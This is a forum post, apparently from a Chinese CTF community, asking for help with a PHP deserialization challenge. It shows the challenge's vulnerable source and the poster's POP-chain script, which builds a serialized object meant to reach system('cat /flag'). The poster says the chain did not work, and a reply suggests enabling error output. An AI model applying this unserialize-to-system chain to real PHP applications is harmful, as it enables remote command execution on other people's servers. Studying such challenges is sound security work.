一个PHP反序列化的题目

GoogleHacking

题目环境：http://80-f797867c-ad4c-4a21-bbd ... allenge.ctfplus.cn/  

题目的代码：
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke(){
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }

            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
    }

    public function __tostring(){
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
    unserialize($payload);
} else {
    echo "没有大家的压缩包的话，瓦达西！<br>";
}

?> 没有大家的压缩包的话，瓦达西！

然后我构造的pop链是这样的

<?php
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __construct(){
        // 1. __destruct 绕过MD5强比较：数组md5为null
        $this->KiraKiraAyu = [];
        $this->K4per = [];

        // 2. 触发__set：QYQS为当前类对象
        $this->QYQS = $this;

        // 3. __set条件满足：Fox指向summer::find_myself，返回summer
        $this->Fox = ['summer', 'find_myself'];

        // 4. 触发__call：komiko为当前类对象
        $this->komiko = $this;

        // 5. __call参数绕过：长度<4 + 数值+1>10000（1e5满足）
        $this->L = '1e5';
        // 执行命令的参数：这里写你要执行的系统命令
        $this->sleep3r = 'cat /flag';

        // 6. __invoke命令执行：调用system函数，执行命令
        $this->_4ak5ra = $this;
        $this->Samsāra = 'system';
        $this->ivory = 'cat /flag';
    }
}

class summer {}

// 生成payload
$obj = new All_in_one();
$payload = serialize($obj);
// URL编码后传输
echo urlencode($payload);
?>

但是最后没做出来，求大佬指导下

Maiz1888

error_reporting(0); 注释下，看看报错不